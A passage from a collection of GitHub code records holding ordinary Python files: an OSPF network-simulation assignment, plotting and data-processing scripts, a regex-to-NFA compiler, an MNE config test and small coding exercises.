Client and type(self.second_side) is Client:\n            ColorUtils.print_error(\"Impossible Connection Between Two Clients!\")\n        elif type(self.first_side) is Client and type(self.second_side) is Router:\n            self.second_side.is_link_to_client(self, self.first_side)\n        elif type(self.first_side) is Router and type(self.second_side) is Client:\n            self.first_side.is_link_to_client(self, self.second_side)\n        elif type(self.first_side) is Router and type(self.second_side) is Router:\n            self.first_side.is_link_to_router(self, self.second_side)\n\n    def send_packet(self, packet, last_hop_ID):\n        if self.state == \"intact\":\n            self.sides[last_hop_ID].receive_packet(packet, self)\n            return True\n        else:\n            ColorUtils.print_error(\"Link Not Available!\")\n            return False\n\n\n\nclients = list()\nrouters = list()\nlinks = list()\n\ndef add_client(IP):\n    if Client.check_valid_IP(IP):\n        if Client.check_uniqueness_IP(clients, IP):\n            new_client = Client(IP)\n            clients.append(new_client)\n        else:\n            ColorUtils.print_error(\"Repeated IP!\")\n    else:\n        ColorUtils.print_error(\"Invalid IP!\")\n\ndef add_router(ID):\n    if Router.check_valid_ID(ID):\n        if Router.check_uniqueness_ID(routers, ID):\n            new_router = Router(ID)\n            routers.append(new_router)\n        else:\n            ColorUtils.print_error(\"Repeated ID!\")\n    else:\n        ColorUtils.print_error(\"Invalid ID!\")\n\ndef is_client(ID):\n    return Client.check_valid_IP(ID)\n\ndef is_router(ID):\n    return Router.check_valid_ID(ID)\n\ndef get_entity(ID):\n    if is_client(ID):\n        return get_client(ID)\n    elif is_router(ID):\n        return get_router(ID)\n\ndef get_client(IP):\n    for client in clients:\n        if client.IP == IP:\n            return client\n    ColorUtils.print_error(\"IP \" + str(IP) + \"Not Found!\")\n\ndef get_router(ID):\n    for router in routers:\n        if router.ID == ID:\n            return router\n    ColorUtils.print_error(\"IP \" + str(ID) + \"Not Found!\")\n\ndef get_link(id1, id2):\n    for link in links:\n        if link.first_side == get_entity(id1) and link.second_side == get_entity(id2) \\\n                or link.second_side == get_entity(id1) and link.first_side == get_entity(id2):\n            return link\n    ColorUtils.print_error(\"Link Not Found!\")\n    return None\n\n\nwhile True:\n    inputline = input()\n    command = inputline.split()[0]\n    if command == \"sec\":\n        value = int(inputline.split()[1])\n        for i in range(value):\n            for router in routers:\n                router.next_time()\n\n    elif command == \"add\":\n        typo = inputline.split()[1]\n        id = inputline.split()[2]\n        if typo == \"router\":\n            add_router(id)\n        elif typo == \"client\":\n            add_client(id)\n\n    elif command == \"connect\":\n        id1 = inputline.split()[1]\n        id2 = inputline.split()[2]\n        cost = int(inputline.split()[3])\n        new_link = Link(get_entity(id1), get_entity(id2), cost)\n        new_link.establish_connection()\n        links.append(new_link)\n\n    elif command == \"link\":\n        id1 = inputline.split()[1]\n        id2 = inputline.split()[2]\n        typo = inputline.split()[3]\n        link = get_link(id1, id2)\n        if typo == \"e\":\n            link.establish_connection()\n        elif typo == \"d\":\n            link.disable_connection()\n\n    elif command == \"ping\":\n        id1 = inputline.split()[1]\n        id2 = inputline.split()[2]\n        client = get_client(id1)\n        if is_client(id2):\n            client.ping(id2)\n        else:\n            ColorUtils.print_error(\"Invalid IP!\")\n\n    elif command == \"monitor\":\n        typo = inputline.split()[1]\n        if typo == \"e\":\n            MONITOR_ENABLE = True\n        elif typo == \"d\":\n            MONITOR_ENABLE = False\n\n    elif command == \"end\":\n        break\n\n    else:\n        ColorUtils.print_error(\"Invalid Command!\")","repo_name":"Ashkan-Soleymani98/ComputerNetworks---Fall2019-2020","sub_path":"Assignments/Assignment3/OSPF.py","file_name":"OSPF.py","file_ext":"py","file_size_in_byte":15921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"42734515800","text":"import inspect\r\n\r\nfrom src.utils import load_dataset, path_root\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.pyplot import figure\r\n\r\n\r\n\r\ndef load(methods,filtering='yg'):\r\n    # methods = ['contrast', 'otsu', ... ]\r\n    dfs = []\r\n    for method in methods:\r\n        dfs.append(load_dataset(method, filtering=filtering, aggregate=False))\r\n    return dfs\r\n\r\n\r\ndef aggregat(df):\r\n    aggregate_by = {'fitness': np.max}  # 'dice': np.max, 'jaccard': np.max, 'acc': np.max\r\n    return df.groupby(['method', 'file'], as_index=False).agg(aggregate_by)\r\n\r\n\r\ndef describe(name):\r\n    plt.xlabel(\"numer zdjęcia\")\r\n    plt.ylabel('dopasowanie')\r\n    plt.savefig(path_root('plots', 'barplots', name))\r\n    plt.show()\r\n\r\n\r\ndef bar_1_param(figsize):\r\n    methods = ['contrast', 'otsu']\r\n    dfs = load(methods)\r\n\r\n    df1 = aggregat(dfs[0])\r\n\r\n    N = df1.shape[0]\r\n    ind = np.arange(N)\r\n    width = 0.25\r\n    plt.figure(figsize=figsize, dpi=80)\r\n    bar1 = plt.bar(ind, df1.fitness, width, color='r')\r\n\r\n    df1 = aggregat(dfs[1])\r\n    bar2 = plt.bar(ind + width, df1.fitness, width, color='g')\r\n    plt.xticks(ind + width / 2, [f'{i}' for i in range(1, 1 + N)])\r\n    plt.legend((bar1, bar2), methods)\r\n    plt.title('metody z jednym parametrem')\r\n    describe(inspect.currentframe().f_code.co_name)\r\n\r\n\r\ndef bar_2_param(figsize):\r\n    methods = ['median', 'midgrey','bernsen','mean']\r\n    dfs = load(methods)\r\n\r\n    df1 = aggregat(dfs[0])\r\n\r\n    N = df1.shape[0]\r\n    ind = np.arange(N)\r\n    width = 0.15\r\n    plt.figure(figsize=figsize, dpi=80)\r\n    bar1 = plt.bar(ind, df1.fitness, width, color='r')\r\n\r\n    df1 = aggregat(dfs[1])\r\n    bar2 = plt.bar(ind + width, df1.fitness, width, color='g')\r\n\r\n    df1 = aggregat(dfs[2])\r\n    bar3 = plt.bar(ind + 2*width, df1.fitness, width, color='b')\r\n\r\n    df1 = aggregat(dfs[3])\r\n    bar4 = plt.bar(ind + 3*width, df1.fitness, width, color='y')\r\n\r\n    plt.xticks(ind + 1.5*width , [f'{i}' for i in range(1, 1 + N)])\r\n    plt.legend((bar1,bar2 ,bar3, bar4), methods)\r\n    plt.title('metody z dwoma parametrami')\r\n\r\n    describe(inspect.currentframe().f_code.co_name)\r\n\r\n\r\ndef bar_3_param(figsize):\r\n    methods = ['sauvola', 'phansalkar','niblack']\r\n    dfs = load(methods)\r\n\r\n    df1 = aggregat(dfs[0])\r\n\r\n    N = df1.shape[0]\r\n    ind = np.arange(N)\r\n    width = 0.15\r\n    plt.figure(figsize=figsize, dpi=80)\r\n    bar1 = plt.bar(ind, df1.fitness, width, color='r')\r\n\r\n    df1 = aggregat(dfs[1])\r\n    bar2 = plt.bar(ind + width, df1.fitness, width, color='g')\r\n\r\n    df1 = aggregat(dfs[2])\r\n    bar3 = plt.bar(ind + 2*width, df1.fitness, width, color='b')\r\n\r\n    plt.xticks(ind + width , [f'{i}' for i in range(1, 1 + N)])\r\n    plt.legend((bar1,bar2 ,bar3), methods)\r\n    plt.title('metody z trzema parametrami')\r\n    describe(inspect.currentframe().f_code.co_name)\r\n\r\n\r\nfigsize = (19,6,)\r\nbar_1_param(figsize)\r\nbar_2_param(figsize)\r\nbar_3_param(figsize)\r\n","repo_name":"sgrzegorz/corneal_endothelium","sub_path":"src/optimum_parameters/per_image_barplot.py","file_name":"per_image_barplot.py","file_ext":"py","file_size_in_byte":2915,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"42112811144","text":"def purify(my_list):\r\n    empty_set = set()\r\n    i = 0\r\n    while(i<(len(my_list)-1)):\r\n        set1 = set(my_list[i])\r\n        j = i + 1\r\n        duplicate_found = 0\r\n        while(j < len(my_list)):\r\n            set2 = my_list[j]\r\n            if(set1.difference(set2) == empty_set):\r\n                my_list.remove(my_list[j])\r\n                duplicate_found = 1\r\n                break\r\n            j += 1\r\n        if(duplicate_found == 1):\r\n            continue\r\n        else:\r\n            i += 1\r\n    return my_list\r\n\r\nprint(\"---------------------------WELCOME ---------------------------\")\r\nprint(\"------------------ENTER NUMBERS ONLY. +VE OR -VE.------------- \\nENTER \\\"exit\\\" TO EXIT PROGRAM\")\r\nnumbers = []\r\nwhile(True):\r\n    try:\r\n        n = input(\"Enter number : \")\r\n        if (n == \"exit\"):\r\n            break\r\n        numbers.append(float(n))\r\n    except:\r\n        print(\"Not valid input. Enter integers only : \")\r\nprint(\"-----------------------YOUR NUMBERS ARE ----------------------\")\r\nprint(numbers)\r\n\r\noutput_list = []\r\ni = 0\r\nwhile(i<(len(numbers)-1)):\r\n    j = i+1\r\n    pair_found = 0\r\n    while(j < len(numbers)):\r\n        number1 = numbers[i]\r\n        number2 = numbers[j]\r\n        if((number1+number2) == 7):\r\n            pair_found = 1\r\n            z = (number1,number2)\r\n            output_list.append(z)\r\n            numbers.remove(number1)\r\n            numbers.remove(number2)\r\n            break\r\n        j += 1\r\n    if(pair_found == 1):\r\n        continue\r\n    else:\r\n        i += 1\r\nprint(\"-----------------OUTPUT LIST with DUPLICATES------------------\")\r\nprint(output_list)\r\n\r\nprint(\"-------------------------OUTPUT LIST--------------------------\")\r\npurified_list = purify((output_list))\r\nprint(purified_list)","repo_name":"MdSohel0706/dailywork","sub_path":"MCS_0058_Sohel_Core_Python/Assignments/sum_of_seven.py","file_name":"sum_of_seven.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"72974740519","text":"# Write a function called list_check\n# It accepts a list\n# Returns True if each item is a list type\n# Otherwise, returns False\n\ndef list_check(user_list):\n    \"\"\"list_check(list) return True if every item in the list is a list type; otherwise returns False.\"\"\"\n    for item in user_list:\n        if type(item) is not list:\n            return False\n    return True\n\n\n# Test Code\nprint(list_check([[], [1], [2, 3], (1, 2)]))\nprint(list_check([1, True, [], [1], [2, 3]]))\nprint(list_check([[], [1], [2, 3]]))\n","repo_name":"benj-lazaro/modern-python3-bootcamp","sub_path":"36-massive-challenges/02-list-check/list_check.py","file_name":"list_check.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"27337663351","text":"from io import StringIO\nimport os\nimport pytest\n\nfrom mne.utils import (set_config, get_config, get_config_path,\n                       set_memmap_min_size, _get_stim_channel, sys_info)\n\n\ndef test_config(tmpdir):\n    \"\"\"Test mne-python config file support.\"\"\"\n    tempdir = str(tmpdir)\n    key = '_MNE_PYTHON_CONFIG_TESTING'\n    value = '123456'\n    value2 = '123'\n    old_val = os.getenv(key, None)\n    os.environ[key] = value\n    assert (get_config(key) == value)\n    del os.environ[key]\n    # catch the warning about it being a non-standard config key\n    assert (len(get_config('')) > 10)  # tuple of valid keys\n    with pytest.warns(RuntimeWarning, match='non-standard'):\n        set_config(key, None, home_dir=tempdir, set_env=False)\n    assert (get_config(key, home_dir=tempdir) is None)\n    pytest.raises(KeyError, get_config, key, raise_error=True)\n    assert (key not in os.environ)\n    with pytest.warns(RuntimeWarning, match='non-standard'):\n        set_config(key, value, home_dir=tempdir, set_env=True)\n    assert (key in os.environ)\n    assert (get_config(key, home_dir=tempdir) == value)\n    with pytest.warns(RuntimeWarning, match='non-standard'):\n        set_config(key, None, home_dir=tempdir, set_env=True)\n    assert (key not in os.environ)\n    with pytest.warns(RuntimeWarning, match='non-standard'):\n        set_config(key, None, home_dir=tempdir, set_env=True)\n    assert (key not in os.environ)\n    if old_val is not None:\n        os.environ[key] = old_val\n    # Check if get_config with key=None returns all config\n    key = 'MNE_PYTHON_TESTING_KEY'\n    assert key not in get_config(home_dir=tempdir)\n    with pytest.warns(RuntimeWarning, match='non-standard'):\n        set_config(key, value, home_dir=tempdir)\n    assert get_config(home_dir=tempdir)[key] == value\n    old_val = os.environ.get(key)\n    try:  # os.environ should take precedence over config file\n        os.environ[key] = value2\n        assert get_config(home_dir=tempdir)[key] == value2\n    finally:  # reset os.environ\n        if old_val is None:\n            os.environ.pop(key, None)\n        else:\n            os.environ[key] = old_val\n    # Check what happens when we use a corrupted file\n    json_fname = get_config_path(home_dir=tempdir)\n    with open(json_fname, 'w') as fid:\n        fid.write('foo{}')\n    with pytest.warns(RuntimeWarning, match='not a valid JSON'):\n        assert key not in get_config(home_dir=tempdir)\n    with pytest.warns(RuntimeWarning, match='non-standard'):\n        pytest.raises(RuntimeError, set_config, key, 'true', home_dir=tempdir)\n\n    # degenerate conditions\n    pytest.raises(ValueError, set_memmap_min_size, 1)\n    pytest.raises(ValueError, set_memmap_min_size, 'foo')\n    pytest.raises(TypeError, get_config, 1)\n    pytest.raises(TypeError, set_config, 1)\n    pytest.raises(TypeError, set_config, 'foo', 1)\n    pytest.raises(TypeError, _get_stim_channel, 1, None)\n    pytest.raises(TypeError, _get_stim_channel, [1], None)\n\n\ndef test_sys_info():\n    \"\"\"Test info-showing utility.\"\"\"\n    out = StringIO()\n    sys_info(fid=out)\n    out = out.getvalue()\n    assert ('numpy:' in out)\n","repo_name":"soheilbr82/BluegrassWorkingMemory","sub_path":"Python_Engine/Lib/site-packages/mne/utils/tests/test_config.py","file_name":"test_config.py","file_ext":"py","file_size_in_byte":3115,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"}
{"seq_id":"30731114489","text":"#! usr/bin/env python3\n#Arnas Steponavicius\n#Adapted from Ian McLoughlin\n\nfrom state import State\nfrom fragment import Fragment\nfrom shunting import shunt\n\ndef compile(infix):\n    \"\"\"Return NFA fragment of the infix expression\n    :param infix: regular expression\n    :type infix: string\n    :return: list\n    \"\"\"\n\n    # Convert infix to postfix\n    postfix = shunt(infix)\n    # Make postfix a stack\n    postfix = list(postfix)[::-1]\n\n    # Stac to keep track of fragments\n    nfa_stack = []\n\n    while postfix:\n        cChar = postfix.pop()\n\n        if cChar == '.':\n            # Concatenation\n            # Pop two Fragments\n            frag1, frag2 = nfa_stack.pop(), nfa_stack.pop()\n\n            # Point frag2 accept state at frag1 start state\n            frag2.accept.edges.append(frag1.start)\n\n            start, accept = frag2.start, frag1.accept\n\n        elif cChar == '|':\n            # Alternation\n            # Pop two Fragments\n            frag1, frag2 = nfa_stack.pop(), nfa_stack.pop()\n\n            # Create new start and accept states\n            accept, start = State(), State(edges=[frag1.start, frag2.start])\n\n            # Point old accept state to new one\n            frag2.accept.edges.append(accept)\n            frag1.accept.edges.append(accept)\n\n        elif cChar == '?':\n            # Zero or One\n            '''\n            One: accepts one character after the '?'\n            Zero: no matches\n            accept state is an arrow that points to nothing, so both accept.\n            Similar to kleene star, just doesn't point back to itself after\n            accepting a character.\n            '''\n            # Pop one fragment\n            frag = nfa_stack.pop()\n\n            # Create new start and accept states\n            accept, start = State(), State(edges=[frag.start, accept])\n\n            # Point old accept state to new accept state\n            frag.accept.edges.append(accept)\n\n        elif cChar == '+':\n            # One or more\n            '''\n            Accepts if there is one character and if more are read in, \n            points back to itself (frag.start)\n            '''\n            # Pop one fragment\n            frag = nfa_stack.pop()\n\n            # Create new start and accept states\n            accept, start = State(), State(edges=[frag.start])\n\n            # Point old accept state at the new one\n            frag.accept.edges = [frag.start, accept]\n\n        elif cChar == '*':\n            # Kleene Star (Zero or more)\n            # Pop one fragment\n            frag = nfa_stack.pop()\n\n            # Create new start and accept states\n            accept, start = State(), State(edges=[frag.start, accept])\n\n            # Point arrows\n            frag.accept.edges.extend([frag.start, accept])\n\n        else:\n            # Create new start and accept states\n            accept = State()\n            start = State(label=cChar, edges=[accept])\n\n        # New instance of fragment represents NFA\n        newFrag = Fragment(start, accept)\n\n        nfa_stack.append(newFrag)\n\n    # The NFA stack should have exactly 1 NFA\n    return nfa_stack.pop()","repo_name":"ArnasSteponavicius00/Regex-to-NFA","sub_path":"project/utils/regex.py","file_name":"regex.py","file_ext":"py","file_size_in_byte":3097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74846529321","text":"import os,argparse,socket,sys\nfrom itertools import count\nimport pandas as pd\nimport numpy as np\nimport AGNLCLib\nimport matplotlib\nis_turgon = socket.gethostname() == 'turgon'\n# Dont try to show graphs unless a terminal is attached and\n# we're on a n appropriate server\nif (sys.stdout.isatty() is False) or (is_turgon is False):\n    matplotlib.use('Agg')\n\n\n# setup global variables for use in the data pipeline (these can be overridden in environment)\nHOMEDIR = os.environ['HOME']\nTESTEXT = os.environ.get('TESTEXT','')\n#json files for project configuration\nPROJECTDIR = os.environ.get('PROJECTDIR','{}/git/AS5599_project'.format(HOMEDIR))\nCONFIGDIR = os.environ.get('CONFIGDIR','{}/git/AS5599_project/config'.format(HOMEDIR))\n\n# objects we have data for are all subdirs of the project dir, removing the code dir\nAGN_NAMES = [ agn.name for agn in os.scandir(PROJECTDIR) if agn.is_dir()\n              and agn.name not in ['code','config'] and agn.name[0] != '.']\n\n                \nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"agn\", type=str,\n                        help=\"AGN for light curve calibration\",\n                        choices=AGN_NAMES)\n    parser.add_argument(\"fltr\", type=str,\n                        help=\"Filter band for calibration\",\n                        choices=[\"u\",\"B\",\"g\",\"V\",\"r\",\"i\",\"z\",\"all\"])\n    parser.add_argument('-s', '--show-outliers',\n                        action='store_true',\n                        help='Create plot of calibration model showing \\\nunclipped outliers which have been included')\n    parser.add_argument('-d', '--delta',type=np.float64,\n                        help='Delta value used for calibration, here used in the point\\\ndensity function to detect meaningful outliers. Otherwise median cadence used')\n    parser.add_argument('-x', '--no-snr',\n                        action='store_true',\n                        help='Do not print out SNR for filter bands (\\\nincluded  by default)')\n    parser.add_argument('-v', '--verbose',\n                        action='store_true',\n                        help='Extra output logging for calculations \\\nsuch as number of values removed by clipping')\n    args=parser.parse_args()\n\n    if args.fltr == 'all':\n        args.fltr = None\n    noprint=np.logical_not(args.verbose)\n    # Create lightcurve model for this AGN\n    model = AGNLCLib.AGNLCModel(PROJECTDIR,CONFIGDIR,args.agn)\n    periods = [kk for kk in model.config().observation_params()['periods'].keys()]\n    \n    if args.show_outliers:\n        for pp in periods:\n            AGNLCLib.CalibrationOutlierPlot(model,pp,fltr=args.fltr,add_model=True,\n                                     overwrite=True,noprint=noprint,delta=args.delta)\n\n    if args.no_snr is False:\n        for pp in periods:\n            AGNLCLib.CalibrationSNR(model,pp,fltr=args.fltr,noprint=noprint)\n","repo_name":"zakalwe00/AS5599_project","sub_path":"code/test_calibration.py","file_name":"test_calibration.py","file_ext":"py","file_size_in_byte":2865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"16515446333","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nimport sys\nfrom solid import *\n\nfrom constraint_system import *\n\nwoods = {\n        \"100x100\": {\"width\": 100, \"thickness\": 100, \"max_length\": 6000},\n        \"100x50\": {\"width\": 100, \"thickness\": 50, \"max_length\": 6000},\n        \"50x50\": {\"width\": 50, \"thickness\": 50, \"max_length\": 6000},\n        \"100x25\": {\"width\": 100, \"thickness\": 25, \"max_length\": 6000},\n        \"100x20\": {\"width\": 100, \"thickness\": 20, \"max_length\": 6000},\n        \"100x22\": {\"width\": 100, \"thickness\": 22, \"max_length\": 6000},\n        \"148x48\": {\"width\": 148, \"thickness\": 48, \"max_length\": 6000}\n        }\n\nclass WoodBlock(ConstrainedBlock):\n    def __init__(self, system):\n        super().__init__(system)\n        self.visible = True\n        system.add(self)\n\n    def get_openscad(self):\n        length_x = self.get_computed_length(Dimension.X)\n        length_y = self.get_computed_length(Dimension.Y)\n        length_z = self.get_computed_length(Dimension.Z)\n        translation_x = self.get_position(Dimension.X)\n        translation_y = self.get_position(Dimension.Y)\n        translation_z = self.get_position(Dimension.Z)\n\n        new_cube = cube([length_x, length_y, length_z])\n        new_cube = translate([translation_x, translation_y, translation_z])(new_cube)\n        return new_cube\n\n    def make_hole(self, hole_block):\n        pass\n\n    def set_length(self, length):\n        self.bind_internally(self.length_dimension, length)\n\nclass WoodSystem(ConstraintSystem):\n    def get_wood(self, name, length_dimension, width_dimension, visible=True):\n        new_block = WoodBlock(self)\n        new_block.visible = visible\n        new_block.length_dimension = length_dimension\n        thickness_dimension = next((d for d in Dimension\n            if d is not length_dimension and d is not width_dimension))\n        new_block.bind_internally(thickness_dimension, woods[name][\"thickness\"])\n        new_block.bind_internally(width_dimension, woods[name][\"width\"])\n        return new_block\n\n    def get_material_width(self, name):\n        return woods[name][\"width\"]\n\n    def get_material_thickness(self, name):\n        return woods[name][\"thickness\"]\n\n    def create_openscad(self):\n        openscad_object = union()()\n        for block in self.blocks:\n            if not block.visible:\n                continue\n            openscad_object += block.get_openscad()\n\n        scad_render_to_file(openscad_object, 'verstas.scad')\n","repo_name":"miikkaharju/Vaja","sub_path":"woods.py","file_name":"woods.py","file_ext":"py","file_size_in_byte":2444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"8395167644","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 18 21:29:13 2020\n\n@author: hao\n\"\"\"\n\nfrom datetime import datetime, timedelta\nimport pandas as pd\nfrom pandas.plotting import register_matplotlib_converters\nregister_matplotlib_converters()\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef file_read(get_path,get_ID,get_day,get_filetype):\n    return get_path+'/'+get_ID.upper()+'_'+get_day+'('+get_filetype+').xlsx' \ndef read_rename(data,sheet):\n    read_data=pd.read_excel(data,sheet_name=sheet)\n    rename_data=read_data.rename(columns={'Unnamed: 0':'Time'})\n    return rename_data\ndef next_day(time,day):\n    date=[]\n    for i in range(len(time)):\n        if pd.to_datetime(time[i])>=pd.to_datetime('00:00:00') and pd.to_datetime(time[i])<pd.to_datetime('13:00:00'):\n            date.append(day_list[0])\n        else:\n            date.append(day_list[1])\n    return date\n\ndef getSleepScore(Sleepstage):\n    if ('REM' in Sleepstage) or ('R' in Sleepstage):\n        score=4\n    elif ('S0' in Sleepstage) or ('Wake' in Sleepstage) or ('W' in Sleepstage): # wake\n        score=5\n    elif ('S1' in Sleepstage) or ('N1' in Sleepstage): \n        score=3\n    elif ('S2' in Sleepstage) or ('N2' in Sleepstage):\n        score=2\n    elif ('S3' in Sleepstage) or ('S4' in Sleepstage) or ('N3' in Sleepstage): #sleep stage3\n        score=1\n    else:\n        score=0\n    return score\ndef HR_window(HR,window):\n    SD_HR=[]\n    start = 0\n    for i in range(0,len(HR),window):\n        SD=np.std(HR[start:start+window])\n        start = start + window\n        SD_HR.append(SD)\n    return SD_HR\ndef sleep_wake_score(score):\n    conscious=[]\n    for i in range(len(score)):\n        if score[i] == 5:\n            conscious.append(1)\n        else:\n            conscious.append(0)\n    return conscious\n#%% ACT & HR\npath='/Users/hao/Desktop/實驗資料/健康組/嘉駿'\nID=['025b005b','0101005c','00d4040']\nday='20200428'\nday_list=[day,datetime.strftime(datetime.strptime(day,'%Y%m%d')-timedelta(days=1),'%Y%m%d')]\nfiletype=['HRV','SPO2']\nsheet_name=['HR&ACT','ACT&Illuminance','HRV_data_remove_based_on_RR','SPO2']\nresample_dic1={'act':'mean', 'HR':'mean', 'var':'mean', 'post': 'last'}\nresample_dic2={'W_act':'mean'}\nfile1=file_read(path,ID[0],day_list[0],filetype[0])\nfile1=read_rename(file1,sheet_name[0])\ndate1=next_day(file1['Time'],day_list[0])\ndate_time1=pd.DataFrame({'Date':date1,'Time':file1['Time']})\ndate_time1=pd.DatetimeIndex(pd.to_datetime(date_time1.Date+' '+date_time1.Time))\nECG=pd.DataFrame({'act':file1.ACT,'HR':file1.HR,'var':file1.VAR\n                  ,'post':file1.Posture})\nECG=ECG.set_index(date_time1)\nECG=ECG.resample('10s').mean()\nECG=ECG.fillna(method='ffill')\nECG=ECG.reset_index(inplace=False)\nECG=ECG.rename(columns={'index':'Time'})\n\n#file2=file_read(path,ID[1],day_list[0],filetype[0])\n#file2=read_rename(file2,sheet_name[1])\n#date2=next_day(file2['Time'],day_list[0])\n#date_time2=pd.DataFrame({'Date':date2,'Time':file2.Time})\n#date_time2=pd.DatetimeIndex(pd.to_datetime(date_time2.Date+' '+date_time2.Time))\n#ACT=pd.DataFrame({'W_act':file2.ACT})\n#ACT=ACT.set_index(date_time2)\n#ACT=ACT.resample('10s').mean()\n#ACT=ACT.fillna(method='ffill')\n#ACT=ACT.reset_index(inplace=False)\n#ACT=ACT.rename(columns={'index':'Time'})\n\nact_index=[0,100]\n#act_ticks = [\"0\",str(100)]\npost_index=([1,2,3,4,5])\npost_ticks = [\"Right\",\"Supine\",\"Left\",\"Prone\",\"Stand\"]\n\n#%%解TD1\nname=day[4:8]\ndata=path+'/'+name+'.txt'\nTD1_data=pd.read_csv(data,engine='python',skiprows=range(0,19),encoding='big5',delim_whitespace=True)#,sep=\" \")#, header=None)\nsleep=TD1_data['Sleep'].tolist()\nscore=[getSleepScore(sleep[i]) for i in range(len(sleep))]\nTD1_data=TD1_data.replace(to_replace =\"下午\", value =\"PM\")\nTD1_data=TD1_data.replace(to_replace =\"上午\", value =\"AM\")\nclock=[(str(TD1_data.Time[i]+' '+TD1_data.Stage[i])) for i in range(len(TD1_data))]\ntime_TD1=pd.to_datetime(clock).strftime('%H:%M:%S')\ndate_TD1=next_day(time_TD1,day_list[0])\ndate_time_TD1=pd.DataFrame({'Date':date_TD1,'Time':time_TD1})\ndate_time_TD1=pd.DatetimeIndex(pd.to_datetime(date_time_TD1.Date+' '+date_time_TD1.Time))\ndate_time_1 = date_time_TD1.drop_duplicates()\n#interpret=11\n#interpretTD1=[5 for i in range(interpret)]\n#score1=interpretTD1+score\n#del score1[len(score1)-(interpret+1):len(score1)-1]\nTD1=pd.DataFrame({'Time':date_time_TD1,'Score':score})\nTD1=TD1.dropna(axis=1,how='any')\nTD12=TD1.drop_duplicates()\nTD12=TD12.set_index(TD12.Time,inplace=False)\nTD12=TD12.resample('10s').ffill()\ndel TD12['Time']\nTD12=TD12.reset_index(inplace=False)\n\n#%%combine data\ncombine=pd.merge(ECG,TD1,on='Time',how='inner')\ncombine.Score=combine['Score'].fillna(5)\n#%%\nn2=2\nyy=[0,1]\nmy_yticks7 = [\"Sleep\",\"Wake\"]\nfig3=plt.figure(figsize=(15,10))\nfig3.add_subplot(n2,1,2)\nplt.plot(combine.Time,combine.act)\nplt.yticks(fontname=\"Arial\",fontsize=12)\nplt.xlim(combine.Time[0],combine.Time[len(combine.Time)-1])\nplt.ylim(0,max(combine.act))\nplt.ylabel('Activity',fontname=\"Arial\",fontsize=16)\nplt.xticks(fontname=\"Arial\",fontsize=12)\nfig3.add_subplot(n2,1,1)\nplt.plot(combine.Time,sleep_wake_score(combine.Score))\n#plt.yticks(yy,my_yticks7,fontname=\"Arial\",fontsize=12)\nplt.xlim(combine.Time[0],combine.Time[len(combine.Time)-1])\nplt.xticks(fontname=\"Arial\",fontsize=12)\nplt.ylabel('Scored by TD1',fontname=\"Arial\",fontsize=16)\nplt.tick_params(axis='y',which='both',bottom=False,top=False,length=0)\nplt.title('Compare activity with TD1 score',fontname=\"Arial\",fontsize=18)\nplt.tight_layout()\n#%%\ncombine=combine.set_index('Time', drop=True)\ncombine.to_excel(day+\".xlsx\",sheet_name='whole data')","repo_name":"wenhaohsu/undergrade","sub_path":"sleep_data_process/2_stage/procress_twelve_2stage.py","file_name":"procress_twelve_2stage.py","file_ext":"py","file_size_in_byte":5573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"40198964916","text":"class Solution:\n    def maxDepth(self, root: Optional[TreeNode]) -> int:\n        def dfs(root, depth):\n            if not root: return depth\n            return max(dfs(root.left, depth + 1), dfs(root.right, depth + 1))\n                       \n        return dfs(root, 0)\n\n\n    def maxDepth(self, root: TreeNode) -> int:\n    \n        if not root: return 0\n    \n        queue = [(root, 1)]\n        self.res = 0\n    \n        while queue:\n            root, nums = queue.pop(0)\n        \n            if not root.left and not root.right:\n                self.res = max(self.res, nums)\n            \n            if root.left:\n                queue.append((root.left, nums + 1))\n            \n            if root.right:\n                queue.append((root.right, nums + 1))\n            \n        return self.res","repo_name":"siddhant3030/depotruby","sub_path":"max_depth_tree.py","file_name":"max_depth_tree.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"26962306056","text":"class Solution(object):\n    def reachDesti(self, target):\n        target = abs(target)\n        k = 0\n        while target > 0:\n            k += 1\n            target -= k\n        return k if target % 2 == 0 else k + 1 + k%2\nval=Solution()\nreach=int(input())\nprint(val.reachDesti(reach))\n","repo_name":"Sudhakaran7/Jump_Maze","sub_path":"Jump_Maze.py","file_name":"Jump_Maze.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
